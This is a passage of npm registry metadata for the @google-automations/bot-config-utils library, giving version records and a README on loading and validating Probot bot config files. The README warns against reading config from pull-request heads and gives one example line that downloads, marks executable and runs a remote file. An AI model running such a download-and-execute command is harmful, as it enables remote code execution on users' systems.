config","directories":{},"_nodeVersion":"14.21.3","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^17.0.0","ajv-formats":"^2.1.1","jsonwebtoken":"^9.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","node-fetch":"^2.6.0","typescript":"^4.9.4","@types/node":"^18.7.15","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0","@types/js-yaml":"^4.0.9"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_9.0.0_1741795306252_0.8578532317410246","host":"s3://npm-registry-packages-npm-production"}},"9.0.1":{"name":"@google-automations/bot-config-utils","version":"9.0.1","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@9.0.1","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"676365db70fa80be980a657022dfc2a2c700a953","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-9.0.1.tgz","fileCount":6,"integrity":"sha512-q3jLo9taUAizqiGSgOtm5EVZw4jlZQPEOOAa9cgfa7uA68577nq4jLjNE0ScEsXjp1dzpAyn2hUor6SvFmATEQ==","signatures":[{"sig":"MEUCIGGZR2EGq9X9aXAZZ5aFPSc0qi7H8ZRyDfpnJEvMxurBAiEAnK7qoUL5rgtUHKlG+xe5k/F5/zp5pM859PWmpzcFUh4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":56820},"main":"./build/src/bot-config-utils.js","_from":"file:google-automations-bot-config-utils-9.0.1.tgz","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 18"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha --node-option no-experimental-fetch ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"_resolved":"/b/f/w/src/git/build-dir/packages/bot-config-utils/google-automations-bot-config-utils-9.0.1.tgz","overrides":{"tmp":"0.2.5"},"_integrity":"sha512-q3jLo9taUAizqiGSgOtm5EVZw4jlZQPEOOAa9cgfa7uA68577nq4jLjNE0ScEsXjp1dzpAyn2hUor6SvFmATEQ==","repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"10.8.2","description":"Utilities for github bot config","directories":{},"_nodeVersion":"18.20.8","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.0","gcf-utils":"^17.0.0","ajv-formats":"^2.1.1","jsonwebtoken":"^9.0.0"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","node-fetch":"^2.6.0","typescript":"^4.9.4","@types/node":"^18.7.15","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0","@types/js-yaml":"^4.0.9"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_9.0.1_1759875830249_0.479200781701677","host":"s3://npm-registry-packages-npm-production"}},"9.0.2":{"name":"@google-automations/bot-config-utils","version":"9.0.2","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@9.0.2","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"ae481a0f64b1e38cded33796fd5ca84dcb6080a9","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-9.0.2.tgz","fileCount":6,"integrity":"sha512-RBd9oBSXrfGQt+GTkaoOh7oV81rLGAoxYq5Nr9ohT4/m6EdsKiwJ0jmxxw9YZUiRsMR5P50GmfxLNeZOZS9C2Q==","signatures":[{"sig":"MEUCIAWcfigBm18IHrI5RL1cempr4vS2VSLLP4/o3OhTP3n6AiEAxjHgL6yK+Kx/oZpXZeqGcxAjFWi6TXQK2rONFtUFTGk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":57319},"main":"./build/src/bot-config-utils.js","_from":"file:google-automations-bot-config-utils-9.0.2.tgz","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 20"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"_resolved":"/b/f/w/src/git/build-dir/packages/bot-config-utils/google-automations-bot-config-utils-9.0.2.tgz","overrides":{"tmp":"0.2.5"},"_integrity":"sha512-RBd9oBSXrfGQt+GTkaoOh7oV81rLGAoxYq5Nr9ohT4/m6EdsKiwJ0jmxxw9YZUiRsMR5P50GmfxLNeZOZS9C2Q==","repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"10.8.2","description":"Utilities for github bot config","directories":{},"_nodeVersion":"18.20.8","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.1.1","gcf-utils":"^17.1.2","ajv-formats":"^2.1.1","jsonwebtoken":"^9.0.3"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","dotenv":"^16.0.2","cross-env":"^7.0.3","lru-cache":"^7.14.0","node-fetch":"^2.6.0","typescript":"^5.7.3","@types/node":"^20.0.0","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0","@types/js-yaml":"^4.0.9"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_9.0.2_1775060949713_0.1631438586806615","host":"s3://npm-registry-packages-npm-production"}},"9.1.0":{"name":"@google-automations/bot-config-utils","version":"9.1.0","keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","_id":"@google-automations/bot-config-utils@9.1.0","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dist":{"shasum":"312660baa016fd3c4bb693eb30551d2b74adebd7","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-9.1.0.tgz","fileCount":6,"integrity":"sha512-QnONeFdmXFUaGf7gDHF9cKFuJkIGqteLUQVdMt8RqNh7rUtKAjt/Me3JAzp3ySB8oAc3/WpMNryWO1tAGZwP/A==","signatures":[{"sig":"MEUCIQC81/eoVMHItixSh1Z4EKp/m6V4D1pu8oUowfouSCF8IwIgIIw3S7N/EYK4oMK8eHLdyxS2iVZA8JAhaoXVdz2BLzE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":57641},"main":"./build/src/bot-config-utils.js","_from":"file:google-automations-bot-config-utils-9.1.0.tgz","types":"./build/src/bot-config-utils.d.ts","engines":{"node":">= 22"},"scripts":{"fix":"gts fix","lint":"gts check","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","compile":"tsc -p .","prepare":"npm run compile","pretest":"npm run compile","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration"},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"_resolved":"/b/f/w/src/git/build-dir/packages/bot-config-utils/google-automations-bot-config-utils-9.1.0.tgz","overrides":{"qs":"6.15.2","tmp":"0.2.7","uuid":"^11.1.1","js-yaml":"^4.3.0","protobufjs":"^7.6.5","body-parser":"^2.3.0","brace-expansion":"^2.1.2","@tootallnate/once":"^3.0.1","@opentelemetry/core":"2.8.0","serialize-javascript":"^7.0.5","@opentelemetry/resources":"2.8.0","@opentelemetry/sdk-trace-base":"2.8.0","@opentelemetry/context-async-hooks":"2.8.0"},"_integrity":"sha512-QnONeFdmXFUaGf7gDHF9cKFuJkIGqteLUQVdMt8RqNh7rUtKAjt/Me3JAzp3ySB8oAc3/WpMNryWO1tAGZwP/A==","repository":{"url":"git+https://github.com/googleapis/repo-automation-bots.git","type":"git"},"_npmVersion":"10.9.3","description":"Utilities for github bot config","directories":{},"_nodeVersion":"22.18.0","dependencies":{"ajv":"^8.11.0","js-yaml":"^4.3.0","gcf-utils":"^17.1.2","ajv-formats":"^2.1.1"},"_hasShrinkwrap":false,"devDependencies":{"c8":"^7.12.0","gts":"^4.0.0","nock":"^13.2.9","mocha":"^10.0.0","sinon":"^15.0.0","cross-env":"^7.0.3","node-fetch":"^2.6.0","typescript":"^5.7.3","@types/node":"^22.0.0","@types/mocha":"^10.0.0","@types/sinon":"^10.0.13","snap-shot-it":"^7.9.6","@octokit/types":"^8.0.0","@types/js-yaml":"^4.0.9"},"_npmOperationalInternal":{"tmp":"tmp/bot-config-utils_9.1.0_1784923279112_0.5134639197241835","host":"s3://npm-registry-packages-npm-production"}},"9.1.1":{"name":"@google-automations/bot-config-utils","version":"9.1.1","description":"Utilities for github bot config","scripts":{"compile":"tsc -p .","pretest":"npm run compile","prepare":"npm run compile","test":"cross-env NODE_ENV=test LOG_LEVEL=fatal c8 mocha ./build/test","test:snap":"SNAPSHOT_UPDATE=1 npm test","system-test":"npm run pretest && cross-env LOG_LEVEL=fatal mocha ./build/test/integration","fix":"gts fix","lint":"gts check"},"main":"./build/src/bot-config-utils.js","repository":{"type":"git","url":"git+https://github.com/googleapis/repo-automation-bots.git"},"homepage":"https://github.com/googleapis/repo-automation-bots","bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"dependencies":{"ajv":"^8.11.0","ajv-formats":"^2.1.1","gcf-utils":"^17.2.0","js-yaml":"^4.3.2"},"devDependencies":{"@octokit/types":"^8.0.0","@types/js-yaml":"^4.0.9","@types/mocha":"^10.0.0","@types/node":"^22.0.0","@types/sinon":"^10.0.13","c8":"^12.0.0","cross-env":"^7.0.3","gts":"^4.0.0","mocha":"^10.0.0","nock":"^13.2.9","node-fetch":"^2.6.0","sinon":"^15.0.0","snap-shot-it":"^7.9.6","typescript":"^5.7.3"},"engines":{"node":">= 22"},"keywords":["Bot config","Probot"],"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","overrides":{"@tootallnate/once":"^3.0.1","qs":"6.16.0","serialize-javascript":"^7.0.5","tmp":"0.2.7","uuid":"^11.1.1","protobufjs":"^7.6.5","@opentelemetry/core":"2.8.0","@opentelemetry/sdk-trace-base":"2.8.0","@opentelemetry/resources":"2.8.0","@opentelemetry/context-async-hooks":"2.8.0","js-yaml":"^4.3.2","body-parser":"^2.3.0","brace-expansion":"^5.0.8","fast-uri":"^3.1.4","debug":"^4.3.4","diff":"^8.0.4"},"_id":"@google-automations/bot-config-utils@9.1.1","types":"./build/src/bot-config-utils.d.ts","_integrity":"sha512-vVHgO2ANBjm+EaIPbBKWX5koF5S5yzm+nh5HzkSgXkcnXCUO9OFvufbhB6mIa2kQ1FpLQAJXtBNbydG8ILv76w==","_resolved":"/b/f/w/src/git/build-dir/packages/bot-config-utils/google-automations-bot-config-utils-9.1.1.tgz","_from":"file:google-automations-bot-config-utils-9.1.1.tgz","_nodeVersion":"22.18.0","_npmVersion":"10.9.3","dist":{"integrity":"sha512-vVHgO2ANBjm+EaIPbBKWX5koF5S5yzm+nh5HzkSgXkcnXCUO9OFvufbhB6mIa2kQ1FpLQAJXtBNbydG8ILv76w==","shasum":"f8f8e5a5ef2417c128ea7d929c80bfc7f542d330","tarball":"https://registry.npmjs.org/@google-automations/bot-config-utils/-/bot-config-utils-9.1.1.tgz","fileCount":6,"unpackedSize":57712,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEQCIBmtU5KWVXFlH7rUcA4XvSNNkovCz5UDbE3uVo3IwvM4AiB1U6Arui6c755kCfDpZcW6AJ6DzQDgo9GRyb0BTTjyug=="}]},"_npmUser":{"name":"google-wombot","email":"node-team-npm+wombot@google.com"},"directories":{},"maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/bot-config-utils_9.1.1_1789524366394_0.8189124143596498"},"_hasShrinkwrap":false}},"time":{"created":"2021-05-18T21:23:07.446Z","modified":"2026-09-16T02:06:06.684Z","2.0.0":"2021-05-18T21:23:08.044Z","2.1.0":"2021-05-19T19:07:21.729Z","3.0.0":"2021-05-19T23:23:15.007Z","3.1.0":"2021-05-28T00:38:12.546Z","3.1.1":"2021-06-02T18:24:57.353Z","3.1.2":"2021-06-09T05:07:28.652Z","3.1.3":"2021-06-18T22:23:13.218Z","3.2.0":"2021-07-13T21:21:58.723Z","4.0.0":"2021-08-09T19:08:14.318Z","4.0.1":"2022-01-06T19:02:45.185Z","4.0.2":"2022-05-10T16:34:51.348Z","4.1.0":"2022-07-07T20:16:42.866Z","4.2.0":"2022-08-08T16:51:42.748Z","5.0.0":"2022-08-08T17:41:13.823Z","6.0.0":"2022-08-15T19:09:03.412Z","6.1.0":"2022-08-19T20:12:15.849Z","6.1.1":"2022-12-22T18:59:17.174Z","6.1.2":"2023-01-04T21:04:23.861Z","6.1.3":"2023-01-10T20:02:12.767Z","7.0.0":"2023-09-18T22:52:37.740Z","8.0.0":"2024-09-06T22:13:04.270Z","9.0.0":"2025-03-12T16:01:46.528Z","9.0.1":"2025-10-07T22:23:50.455Z","9.0.2":"2026-04-01T16:29:09.905Z","9.1.0":"2026-07-24T20:01:19.276Z","9.1.1":"2026-09-16T02:06:06.519Z"},"bugs":{"url":"https://github.com/googleapis/repo-automation-bots/issues"},"author":{"name":"Takashi Matsuo","email":"tmatsuo@google.com"},"license":"Apache-2.0","homepage":"https://github.com/googleapis/repo-automation-bots","keywords":["Bot config","Probot"],"repository":{"type":"git","url":"git+https://github.com/googleapis/repo-automation-bots.git"},"description":"Utilities for github bot config","maintainers":[{"name":"google-wombot","email":"node-team-npm+wombot@google.com"}],"readme":"# bot-config-utils\n\nThis is a small library for handling bot config file.\n\n## Install\n\n```bash\nnpm i @google-automations/bot-config-utils\n```\n\n## Get the config\n\nThis library supports yaml config file. You provide an config\ninterface. The code assumes we're in the probot handler.\n\n```typescript\nimport {\n  getConfig,\n} from '@google-automations/bot-config-utils';\n\ninterface Config {\n  myConfig: string;\n}\nconst CONFIG_FILENAME = 'mybot.yaml';\nconst {owner, repo} = context.repo();\nconst config = await getConfig<Config>(\n  context.octokit,\n  owner,\n  repo,\n  CONFIG_FILENAME);\n// config can be null.\n```\n\n## Provide the default value\n\nYou can use a similar method that supports default value.\n\n```typescript\nimport {\n  getConfigWithDefault,\n} from '@google-automations/bot-config-utils';\n\ninterface Config {\n  myConfig: string;\n}\n\nconst defaultConfig: Config = {'myConfig': 'myValue'};\n\nconst CONFIG_FILENAME = 'mybot.yaml';\nconst {owner, repo} = context.repo();\nconst config = await getConfigWithDefault<Config>(\n  context.octokit,\n  owner,\n  repo,\n  CONFIG_FILENAME,\n  defaultConfig);\n// config is always a Config object.\n```\n\n## getConfig options\nYou can specify optional arguments via the `getConfigOptions` interface to `getConfig` and `getConfigWithDefault`.\n\n```\n{\n  fallbackToOrgConfig: false,\n  branch: 'release-9.x',\n  schema: schema,\n  additionalSchemas: additionalSchema\n}\n```\n- fallbackToOrgConfig\n  If set to true, it will try to fetch the config from `.github` repo in the\n  same org, defaults to true.\n- branch\n  The branch for getting the config.\n- schema\n  The json schema definition. If specified, the loaded config will be validated\n  against the given schema. It will throw an Error when validation fails.\n- additionalSchemas\n  Only required if you need to give additional schema definitions.\n\nHere is a simple example for not falling back to `.github` repo, and\ndoing the schema validation.\n\n```\n// json schema definition\nimport schema from './config-schema.json';\nimport {\n  getConfig,\n} from '@google-automations/bot-config-utils';\n\ninterface Config {\n  myConfig: string;\n}\nconst CONFIG_FILENAME = 'mybot.yaml';\nconst {owner, repo} = context.repo();\nconst config = await getConfig<Config>(\n  context.octokit,\n  owner,\n  repo,\n  CONFIG_FILENAME,\n  {fallbackToOrgConfig: false, schema: schema}\n);\n// config can be null.\n```\n\n## Check config schema on PRs\n\nTo use this feature, the bot needs to have some permissions.\n\nYou have to add the following permissions:\n- Pull Request Read/Write\n- Checks Read/Write\n\nYou also have to subscribe to Pull Request events.\n\nYou also need to provide a schema definition. Here is an example definition:\n\n```json\n// config-schema.json\n{\n    \"$schema\": \"http://json-schema.org/draft-07/schema#\",\n    \"type\": \"object\",\n    \"title\": \"flakybot config\",\n    \"description\": \"Schema for flakybot configuration\",\n    \"additionalProperties\": false,\n    \"properties\": {\n\t    \"issuePriority\": {\n\t        \"description\": \"The default priority for flakybot issues\",\n\t        \"type\": \"string\",\n\t    }\n    }\n}\n```\n\nHere is a sample handler(this assumes you're developping a Probot app):\n```typescript\nimport {ConfigChecker} from '@google-automations/bot-config-utils';\nimport schema from './config-schema.json';\n\n// ...\n\n  app.on(\n    [\n      'pull_request.opened',\n      'pull_request.reopened',\n      'pull_request.edited',\n      'pull_request.synchronize',\n    ],\n    async context => {\n      const configChecker = new ConfigChecker<Config>(schema, CONFIG_FILENAME);\n      const {owner, repo} = context.repo();\n      await configChecker.validateConfigChanges(\n        context.octokit,\n        owner,\n        repo,\n        context.payload.pull_request.head.sha,\n        context.payload.pull_request.number\n      );\n    }\n  );\n```\n\n`validateConfigChanges` will check the config file format against the\nschema you provided. It will submit a failing status check if:\n\n- You are trying to add a wrong config file (currently it only checks\n  `yaml` vs `yml`).\n- You are trying to add a broken config file, or the config file\n  doesn't match the schema.\n\n`validateConfigChanges` resolves `false`, if the config file is invalid,\nand a failing check has been created.\n\n## Fetch config from the PR head\nProbot's implementation of config always fetches the config from the\nmain branch. This is a reasonable security meassure for a generic\nlibrary.\n\nIt is very dangerous to fetch the config from PR head expecially if\nthe config contains some external commands. Here is a simple example:\n\n```yaml\nprepareCommands: 'curl http://example.com/m && chmod +x m && ./m'\n\n```\n\nHowever, if your bot doesn't have such a field in the config file, it\nis very natural to fetch the config from the PR head.\n\nFor this purpose, the ConfigChecker has a method:\n`getConfig(): T | undefined`. This will return the config object only\nif the validation succeeds.\n\nEven if the config contains a dangerous field, you can selectively use\nthe value from the config in the PR head.\n","readmeFilename":"README.md"}